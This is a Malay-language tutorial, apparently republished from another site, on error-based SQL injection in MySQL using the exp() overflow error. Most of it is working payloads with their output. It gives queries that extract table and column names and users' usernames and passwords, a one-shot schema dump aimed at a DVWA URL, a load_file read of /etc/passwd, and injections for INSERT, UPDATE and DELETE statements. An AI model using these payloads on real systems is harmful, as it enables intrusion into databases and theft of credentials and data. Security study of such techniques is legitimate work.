Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Cara menggunakan exp untuk suntikan ralat SQL

Cara menggunakan exp untuk suntikan ralat SQL

WBOY
WBOYke hadapan
2023-05-12 10:16:121710semak imbas

Gambaran Keseluruhan Pengenalan 0x01

Editor menemui satu lagi limpahan data Berganda dalam MySQL. Apabila kita mendapat fungsi dalam MySQL, editor lebih berminat dengan fungsi matematik Ia juga harus mengandungi beberapa jenis data untuk menyimpan nilai. Jadi editor berlari untuk menguji untuk melihat fungsi mana yang akan menyebabkan ralat limpahan. Kemudian editor mendapati bahawa apabila nilai yang lebih besar daripada 709 diluluskan, fungsi exp() akan menyebabkan ralat limpahan.

Cara menggunakan exp untuk suntikan ralat SQL

<p>mysql> select exp(709);<br>+-----------------------+<br>| exp(709)              |<br>+-----------------------+<br>| 8.218407461554972e307 |<br>+-----------------------+<br>1 row in set (0.00 sec)</p><p>mysql> select exp(710);<br>ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'</p>

Dalam MySQL, exp mempunyai fungsi bertentangan ln dan log Untuk memberikan pengenalan ringkas, kedua-dua log dan ln mengembalikan logaritma dengan e sebagai asas, lihat persamaan. :

Cara menggunakan exp untuk suntikan ralat SQL
Cara menggunakan exp untuk suntikan ralat SQL
<p>mysql> select log(15);<br>+------------------+<br>| log(15)          |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ln(15);<br>+------------------+<br>| ln(15)           |<br>+------------------+<br>| 2.70805020110221 |<br>+------------------+<br>1 row in set (0.00 sec)</p>

Fungsi eksponen ialah fungsi songsang bagi fungsi logaritma, exp() ialah fungsi logaritma dengan e sebagai asas , Seperti persamaan:

Cara menggunakan exp untuk suntikan ralat SQL
mysql> select exp(2.70805020110221);
+-----------------------+
| exp(2.70805020110221) |
+-----------------------+
|                    15 |
+-----------------------+
1 row in set (0.00 sec)

Suntikan 0x02

Apabila melibatkan suntikan, kami menggunakan pertanyaan negatif untuk menyebabkan "GANDA nilai berada di luar julat" ralat. Seperti yang dinyatakan dalam catatan blog penulis sebelum ini, penyongsangan bitwise 0 akan mengembalikan "18446744073709551615".

<p>mysql> select ~0;<br>+----------------------+<br>| ~0                   |<br>+----------------------+<br>| 18446744073709551615 |<br>+----------------------+<br>1 row in set (0.00 sec)</p><p><br>mysql> select ~(select version());<br>+----------------------+<br>| ~(select version())  |<br>+----------------------+<br>| 18446744073709551610 |<br>+----------------------+<br>1 row in set, 1 warning (0.00 sec)</p>

Kami mencipta ralat limpahan BERGANDA melalui penolakan subkueri dan bitwise, dan menggunakan ini untuk menyuntik data.

>`exp(~(select*from(select user())x))`       mysql> select exp(~(select*from(select user())x));      ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

0x03 Inject data

Dapatkan nama jadual:

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

Dapatkan nama lajur:

select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

Dapatkan data:

select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

0x04 Semalaman

Pertanyaan ini boleh membuang semua jadual dan lajur daripada konteks semasa. Kami juga boleh membuang keseluruhan pangkalan data, tetapi kerana kami mengekstrak melalui ralat, ia akan mengembalikan hasil yang sangat sedikit.

exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))   http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
Cara menggunakan exp untuk suntikan ralat SQL

0x05 Baca fail

Anda boleh membaca fail melalui fungsi load_file(), tetapi pengarang mendapati bahawa terdapat adalah sekatan 13 baris, pernyataan ini juga boleh digunakan dalam suntikan limpahan BIGINT.

select exp(~(select*from(select load_file('/etc/passwd'))a));
Cara menggunakan exp untuk suntikan ralat SQL

Perhatikan bahawa anda tidak boleh menulis pada fail kerana ralat ini hanya menulis 0.

mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt';  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))'       # type C:\out.txt  0

Suntikan 0x06 dalam Sisipan

Ikuti sahaja langkah

mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Pertanyaan DIOS juga boleh digunakan untuk semua penyata sisipan, kemas kini dan padam.

mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre');  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000  newdb::users::id  newdb::users::username  newdb::users::password' from dual)))'

Suntikan 0x07 dalam Kemas Kini

mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Suntikan 0x08 dalam Padam

mysql> delete from users where id='1' | exp(~(select*from(select user())x));  ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

Sama seperti suntikan BIGINT, suntikan exp sebelum ini Juga boleh digunakan untuk MySQL5.5.5 dan ke atas. Versi sebelumnya "senyap" tentang situasi ini.

mysql> select version();  +---------------------+  | version()           |  +---------------------+  | 5.0.45-community-nt |  +---------------------+  1 row in set (0.00 sec)     mysql> select exp(710);  +----------+  | exp(710) |  +----------+  |   1.#INF |  +----------+  1 row in set (0.00 sec)     mysql> select exp(~0);  +---------+  | exp(~0) |  +---------+  |  1.#INF |  +---------+  1 row in set (0.00 sec)

Mungkin ada fungsi lain yang akan menghasilkan ralat seperti ini.

Atas ialah kandungan terperinci Cara menggunakan exp untuk suntikan ralat SQL. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam